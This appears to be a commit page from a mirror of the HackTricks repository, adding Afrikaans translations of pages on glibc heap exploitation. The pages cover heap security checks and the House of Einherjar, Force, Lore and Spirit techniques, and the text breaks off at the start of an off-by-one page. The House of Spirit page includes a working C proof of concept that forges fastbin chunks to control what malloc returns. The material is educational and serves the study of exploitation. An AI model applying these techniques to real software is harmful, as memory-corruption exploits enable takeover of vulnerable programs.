mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-21 20:23:18 +00:00
Translated ['binary-exploitation/heap/heap-functions-security-checks.md'
This commit is contained in:
parent
2ad76fa32c
commit
086518fc68
12 changed files with 531 additions and 150 deletions
BIN
.gitbook/assets/image (1245).png
Normal file
BIN
.gitbook/assets/image (1245).png
Normal file
Binary file not shown.
After Width: | Height: | Size: 96 KiB |
BIN
.gitbook/assets/image (1246).png
Normal file
BIN
.gitbook/assets/image (1246).png
Normal file
Binary file not shown.
After Width: | Height: | Size: 99 KiB |
BIN
.gitbook/assets/image (1247).png
Normal file
BIN
.gitbook/assets/image (1247).png
Normal file
Binary file not shown.
After Width: | Height: | Size: 80 KiB |
|
@ -726,6 +726,12 @@
|
|||
* [Use After Free](binary-exploitation/heap/use-after-free/README.md)
|
||||
* [First Fit](binary-exploitation/heap/use-after-free/first-fit.md)
|
||||
* [Double Free](binary-exploitation/heap/double-free.md)
|
||||
* [Unlink Attack](binary-exploitation/heap/unlink-attack.md)
|
||||
* [Off by one overflow](binary-exploitation/heap/off-by-one-overflow.md)
|
||||
* [House of Spirit](binary-exploitation/heap/house-of-spirit.md)
|
||||
* [House of Lore](binary-exploitation/heap/house-of-lore.md)
|
||||
* [House of Einherjar](binary-exploitation/heap/house-of-einherjar.md)
|
||||
* [House of Force](binary-exploitation/heap/house-of-force.md)
|
||||
* [Heap Overflow](binary-exploitation/heap/heap-overflow.md)
|
||||
* [Common Binary Exploitation Protections & Bypasses](binary-exploitation/common-binary-protections-and-bypasses/README.md)
|
||||
* [ASLR](binary-exploitation/common-binary-protections-and-bypasses/aslr/README.md)
|
||||
|
|
|
@ -10,7 +10,7 @@ Ander maniere om HackTricks te ondersteun:
|
|||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -18,7 +18,7 @@ Ander maniere om HackTricks te ondersteun:
|
|||
|
||||
Hierdie funksie verwyder 'n brokkie uit 'n dubbelgekoppelde lys. Gewone kontroles verseker dat die gekoppelde lysstruktuur konsekwent bly wanneer brokkies ontkoppel word.
|
||||
|
||||
* **Kontrole van Konsekwentheid**:
|
||||
* **Konsistensie Kontroles**:
|
||||
* Kontroleer of `P->fd->bk == P` en `P->bk->fd == P`.
|
||||
* Foutboodskap: `corrupted double-linked list`
|
||||
|
||||
|
@ -26,19 +26,19 @@ Hierdie funksie verwyder 'n brokkie uit 'n dubbelgekoppelde lys. Gewone kontrole
|
|||
|
||||
Hierdie funksie is verantwoordelik vir die toekenning van geheue uit die heap. Kontroles hier verseker dat geheue nie tydens toekenning gekorrupreer word nie.
|
||||
|
||||
* **Fastbin Groottekontrole**:
|
||||
* **Fastbin Grootte Kontrole**:
|
||||
* Wanneer 'n brokkie uit 'n fastbin verwyder word, verseker dat die grootte van die brokkie binne die fastbin-reeks is.
|
||||
* Foutboodskap: `malloc(): memory corruption (fast)`
|
||||
* **Smallbin Konsekwentheidskontrole**:
|
||||
* **Smallbin Konsistensie Kontrole**:
|
||||
* Wanneer 'n brokkie uit 'n smallbin verwyder word, verseker dat die vorige en volgende skakels in die dubbelgekoppelde lys konsekwent is.
|
||||
* Foutboodskap: `malloc(): smallbin double linked list corrupted`
|
||||
* **Ongeordende Bin-Geheuebereikkontrole**:
|
||||
* **Ongeordende Bin Geheue-reeks Kontrole**:
|
||||
* Verseker dat die grootte van brokkies in die ongeordende bin binne minimum- en maksimumgrense is.
|
||||
* Foutboodskap: `malloc(): memory corruption`
|
||||
* **Ongeordende Bin-Konsekwentheidskontrole (Eerste Scenario)**:
|
||||
* Foutboodskap: `malloc(): memory corruption | malloc(): invalid next size (unsorted)`
|
||||
* **Ongeordende Bin Konsistensie Kontrole (Eerste Scenario)**:
|
||||
* Wanneer 'n oorblywende brokkie in die ongeordende bin ingevoeg word, kontroleer of `unsorted_chunks(av)->fd->bk == unsorted_chunks(av)`.
|
||||
* Foutboodskap: `malloc(): corrupted unsorted chunks`
|
||||
* **Ongeordende Bin-Konsekwentheidskontrole (Tweede Scenario)**:
|
||||
* **Ongeordende Bin Konsistensie Kontrole (Tweede Scenario)**:
|
||||
* Dieselfde as die vorige kontrole, maar geaktiveer wanneer ingevoeg word na die opsplit van 'n vinnige of klein brokkie.
|
||||
* Foutboodskap: `malloc(): corrupted unsorted chunks 2`
|
||||
|
||||
|
@ -46,35 +46,35 @@ Hierdie funksie is verantwoordelik vir die toekenning van geheue uit die heap. K
|
|||
|
||||
Hierdie funksie vrygemaakte voorheen toegedeelde geheue. Die kontroles hier help om behoorlike geheuevrymaking te verseker en geheuekorrupsie te voorkom.
|
||||
|
||||
* **Puntgrenskontrole**:
|
||||
* Verseker dat die punt wat vrygemaak word nie om die geheue draai nie.
|
||||
* **Puntgrens Kontrole**:
|
||||
* Verseker dat die punt wat vrygemaak word nie om die geheue heen wikkel nie.
|
||||
* Foutboodskap: `free(): invalid pointer`
|
||||
* **Groottekontrole**:
|
||||
* Verseker dat die grootte van die brokkie wat vrygemaak word ten minste `MINSIZE` is of 'n veelvoud van `MALLOC_ALIGNMENT`.
|
||||
* **Grootte Kontrole**:
|
||||
* Verseker dat die grootte van die brokkie wat vrygemaak word minstens `MINSIZE` of 'n veelvoud van `MALLOC_ALIGNMENT` is.
|
||||
* Foutboodskap: `free(): invalid size`
|
||||
* **Fastbin Groottekontrole**:
|
||||
* **Fastbin Grootte Kontrole**:
|
||||
* Vir fastbin-brokkies, verseker dat die grootte van die volgende brokkie binne die minimum- en maksimumgrense is.
|
||||
* Foutboodskap: `free(): invalid next size (fast)`
|
||||
* **Vinnige Bin Dubbelvrykontrole**:
|
||||
* **Vinnige Bin Dubbelvry Kontrole**:
|
||||
* Wanneer 'n brokkie in 'n fastbin ingevoeg word, verseker dat die brokkie aan die kop nie dieselfde is as die een wat ingevoeg word nie.
|
||||
* Foutboodskap: `double free or corruption (fasttop)`
|
||||
* **Vinnige Bin-Konsekwentheidskontrole**:
|
||||
* **Vinnige Bin Konsistensie Kontrole**:
|
||||
* Wanneer ingevoeg word in 'n fastbin, verseker dat die groottes van die kopbrokkie en die ingevoegde brokkie dieselfde is.
|
||||
* Foutboodskap: `invalid fastbin entry (free)`
|
||||
* **Boppebrokkie-Konsekwentheidskontrole**:
|
||||
* **Boppebrokkie Konsistensie Kontrole**:
|
||||
* Vir nie-fastbin-brokkies, verseker dat die brokkie nie dieselfde is as die boppebrokkie nie.
|
||||
* Foutboodskap: `double free or corruption (top)`
|
||||
* **Geheuegrensekontrole**:
|
||||
* **Geheuegrense Kontrole**:
|
||||
* Verseker dat die volgende brokkie volgens geheue binne die grense van die arena is.
|
||||
* Foutboodskap: `double free or corruption (out)`
|
||||
* **Prev\_inuse Bit Kontrole**:
|
||||
* Verseker dat die vorige-in-gebruik-bit in die volgende brokkie gemerk is.
|
||||
* Foutboodskap: `double free or corruption (!prev)`
|
||||
* **Normale Groottekontrole**:
|
||||
* **Normale Grootte Kontrole**:
|
||||
* Verseker dat die grootte van die volgende brokkie binne geldige reekse is.
|
||||
* Foutboodskap: `free(): invalid next size (normal)`
|
||||
* **Ongeordende Bin-Konsekwentheidskontrole**:
|
||||
* Wanneer 'n gekoleerde brokkie in die ongeordende bin ingevoeg word, kontroleer of `unsorted_chunks(av)->fd->bk == unsorted_chunks(av)`.
|
||||
* **Ongeordende Bin Konsistensie Kontrole**:
|
||||
* Wanneer 'n gekolekteerde brokkie in die ongeordende bin ingevoeg word, kontroleer of `unsorted_chunks(av)->fd->bk == unsorted_chunks(av)`.
|
||||
* Foutboodskap: `free(): corrupted unsorted chunks`
|
||||
|
||||
<details>
|
||||
|
@ -87,6 +87,6 @@ Ander maniere om HackTricks te ondersteun:
|
|||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
|
61
binary-exploitation/heap/house-of-einherjar.md
Normal file
61
binary-exploitation/heap/house-of-einherjar.md
Normal file
|
@ -0,0 +1,61 @@
|
|||
# Huis van Einherjar
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS hak vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
## Basiese Inligting
|
||||
|
||||
### Kode
|
||||
|
||||
* Kyk na die voorbeeld van [https://github.com/shellphish/how2heap/blob/master/glibc\_2.35/house\_of\_einherjar.c](https://github.com/shellphish/how2heap/blob/master/glibc\_2.35/house\_of\_einherjar.c)
|
||||
|
||||
### Doel
|
||||
|
||||
* Die doel is om geheue by amper enige spesifieke adres toe te ken.
|
||||
|
||||
### Vereistes
|
||||
|
||||
* Af een oor die kop van die volgende blokkie om die vorige in gebruik te wysig
|
||||
* In staat wees om die `prev_size` data te wysig, wat deel is van die huidige blokkie (aan die einde)
|
||||
* Heap lek
|
||||
|
||||
### Aanval
|
||||
|
||||
* `A` valse blokkie word binne 'n blokkie wat deur die aanvaller beheer word, geskep wat met `fd` en `bk` na die oorspronklike blokkie wys om beskerming te omseil
|
||||
* 2 ander blokkies (`B` en `C`) word geskep.
|
||||
* Deur die af een in die `B` een te misbruik, word die `prev in gebruik` bit skoongemaak en die `prev_size` data word oorskryf met die verskil tussen die plek waar die `C` blokkie toegewys is, na die valse `A` blokkie wat vooraf gegenereer is.
|
||||
* Hierdie `prev_size` en die grootte van die valse blokkie `A` moet dieselfde wees om kontroles te omseil.
|
||||
* Dan word die Tcache gevul
|
||||
* Dan word `C` vrygestel sodat dit konsolideer met die valse blokkie `A`
|
||||
* Dan word 'n nuwe blokkie `D` geskep wat in die valse `A` blokkie begin en die `B` blokkie dek
|
||||
* Dan word `B` vrygestel en sy `fd` word oorskryf na die teikenadres wat dit na die teikenadres laat wys deur die `D` blokkie wat dit bevat, te misbruik.
|
||||
* Dan word 2 mallocs gedoen omdat die tweede een die teikenadres gaan bevat
|
||||
|
||||
## Verwysings
|
||||
|
||||
* [https://github.com/shellphish/how2heap/blob/master/glibc\_2.35/house\_of\_einherjar.c](https://github.com/shellphish/how2heap/blob/master/glibc\_2.35/house\_of\_einherjar.c)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS hak vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
54
binary-exploitation/heap/house-of-force.md
Normal file
54
binary-exploitation/heap/house-of-force.md
Normal file
|
@ -0,0 +1,54 @@
|
|||
# Huis van Krag
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
||||
## Basiese Inligting
|
||||
|
||||
### Kode
|
||||
|
||||
* Hierdie tegniek is gepatch ([**hier**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=30a17d8c95fbfb15c52d1115803b63aaa73a285c)) en veroorsaak hierdie fout: `malloc(): corrupted top size`
|
||||
|
||||
### Doel
|
||||
|
||||
* Die doel van hierdie aanval is om 'n blok in 'n spesifieke adres toe te ken.
|
||||
|
||||
### Vereistes
|
||||
|
||||
* 'n Oorvloei wat toelaat om die grootte van die boonste blok se kop (bv. -1) te oorskryf.
|
||||
* Moet die grootte van die heap-toekenning kan beheer.
|
||||
|
||||
### Aanval
|
||||
|
||||
As 'n aanvaller 'n blok in die adres P wil hê, nadat die grootte van die boonste blok met -1 oorgeskryf is. is dit eerstens nodig om 'n malloc van (\&top\_chunk - P) te hê. Let daarop dat hierdie wyser voor of na die top\_chunk kan wees aangesien enige grootte minder as -1 (0xFFFFFFFFFFFFFFFF) sal wees. Daarna, nadat hierdie aanvanklike blok toegewys is, sal die boonste blok na die gewenste P-adres verskuif word en die volgende blok sal van daardie adres wees.
|
||||
|
||||
### Verwysings
|
||||
|
||||
* [https://github.com/shellphish/how2heap/tree/master](https://github.com/shellphish/how2heap/tree/master?tab=readme-ov-file)
|
||||
* [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_force/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_force/)
|
||||
* [https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_force](https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_force)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
61
binary-exploitation/heap/house-of-lore.md
Normal file
61
binary-exploitation/heap/house-of-lore.md
Normal file
|
@ -0,0 +1,61 @@
|
|||
# Huis van Lore
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
||||
## Basiese Inligting
|
||||
|
||||
### Kode
|
||||
|
||||
* Dit werk nie
|
||||
* Kyk na die een van [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_lore/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_lore/)
|
||||
* Of: [https://github.com/shellphish/how2heap/blob/master/glibc\_2.39/house\_of\_lore.c](https://github.com/shellphish/how2heap/blob/master/glibc\_2.39/house\_of\_lore.c)
|
||||
|
||||
### Doel
|
||||
|
||||
* Voeg 'n vals klein stukkie in die klein bin in sodat dit moontlik is om dit toe te ken.
|
||||
|
||||
### Vereistes
|
||||
|
||||
* Skep valse stukkies
|
||||
* Ken die adres van die slagofferstuk en die valse stukkies
|
||||
* Wees in staat om die `bk` en `fd` aanwysers te wysig
|
||||
|
||||
### Aanval
|
||||
|
||||
* 'n Slagoffer klein stukkie word toegeken
|
||||
* 'n aanvaller genereer 'n paar valse klein stukkies, en maak die eerste valse stukkie `fd` wat na 'n werklike stukkie wys en die `bk` wat na die tweede valse stukkie wys. Maak ook die tweede valse stukkie `bk` wat na die eerste een wys.
|
||||
* Dan word 'n nuwe groot stukkie toegeken om te voorkom dat die eerste een in die boonste stukkie saamgevoeg word wanneer dit vrygelaat word
|
||||
* Dan word die aanvanklike aanwyser vrygelaat en 'n tweede aanwyser van 'n groter grootte word toegeken sodat die vrygelaat aanvanklike klein stukkie in die klein bin geplaas word.
|
||||
* Die werklike klein stukkie word gewysig sodat sy `bk` aanwyser na die valse een wys en.
|
||||
* Dan, wanneer 2 stukkies van hierdie grootte toegeken word, kry hulle die geldige stukkie eerste en dan die ongeldige stukkie op een of ander manier deur die aanvaller beheer.
|
||||
|
||||
## Verwysings
|
||||
|
||||
* [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_lore/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_lore/)
|
||||
* [https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_lore](https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_lore)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
99
binary-exploitation/heap/house-of-spirit.md
Normal file
99
binary-exploitation/heap/house-of-spirit.md
Normal file
|
@ -0,0 +1,99 @@
|
|||
# Huis van Gees
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
||||
## Basiese Inligting
|
||||
|
||||
### Kode
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Huis van Gees</summary>
|
||||
```c
|
||||
#include <unistd.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <stdio.h>
|
||||
|
||||
// Code altered to add som prints from: https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit
|
||||
|
||||
struct fast_chunk {
|
||||
size_t prev_size;
|
||||
size_t size;
|
||||
struct fast_chunk *fd;
|
||||
struct fast_chunk *bk;
|
||||
char buf[0x20]; // chunk falls in fastbin size range
|
||||
};
|
||||
|
||||
int main() {
|
||||
struct fast_chunk fake_chunks[2]; // Two chunks in consecutive memory
|
||||
void *ptr, *victim;
|
||||
|
||||
ptr = malloc(0x30);
|
||||
|
||||
printf("Original alloc address: %p\n", ptr);
|
||||
printf("Main fake chunk:%p\n", &fake_chunks[0]);
|
||||
printf("Second fake chunk for size: %p\n", &fake_chunks[1]);
|
||||
|
||||
// Passes size check of "free(): invalid size"
|
||||
fake_chunks[0].size = sizeof(struct fast_chunk);
|
||||
|
||||
// Passes "free(): invalid next size (fast)"
|
||||
fake_chunks[1].size = sizeof(struct fast_chunk);
|
||||
|
||||
// Attacker overwrites a pointer that is about to be 'freed'
|
||||
// Point to .fd as it's the start of the content of the chunk
|
||||
ptr = (void *)&fake_chunks[0].fd;
|
||||
|
||||
free(ptr);
|
||||
|
||||
victim = malloc(0x30);
|
||||
printf("Victim: %p\n", victim);
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
</details>
|
||||
|
||||
### Doel
|
||||
|
||||
* Om 'n arbitraire adres in die tcache / vinnige bin te kan voeg sodat wanneer malloc geroep word, dit in 'n stuk gebruik word
|
||||
|
||||
### Vereistes
|
||||
|
||||
* Hierdie aanval vereis dat 'n aanvaller 'n paar valse vinnige stukke kan skep wat die grootte daarvan korrek aandui en 'n vinnige stuk van daardie grootte kan oorskryf wat vrygestel gaan word, sodat die aanvaller se stuk eintlik die een is wat in die vinnige bin beland.
|
||||
|
||||
### Aanval
|
||||
|
||||
* Skep 'n valse stuk wat sekuriteitskontroles omseil (jy sal 2 valse stukke nodig hê)
|
||||
* Voordat 'n aanwysers vrygestel word, oorskryf dit met die valse stuk sodat dit die een is wat in die bin beland
|
||||
|
||||
## Verwysings
|
||||
|
||||
* [https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_spirit](https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_spirit)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS hak vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
62
binary-exploitation/heap/off-by-one-overflow.md
Normal file
62
binary-exploitation/heap/off-by-one-overflow.md
Normal file
|
@ -0,0 +1,62 @@
|
|||
# Afstandsoorskot
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
||||
## Basiese Inligting
|
||||
|
||||
Om net toegang tot 'n 1B-oorvloei te hê, stel dit 'n aanvaller in staat om die vorige grootte meta-inligting te wysig, wat toelaat om te manipuleer watter stukke werklik vrygestel word, en uiteindelik 'n stuk te genereer wat 'n ander wettige stuk bevat.
|
||||
|
||||
### Kodevoorbeeld:
|
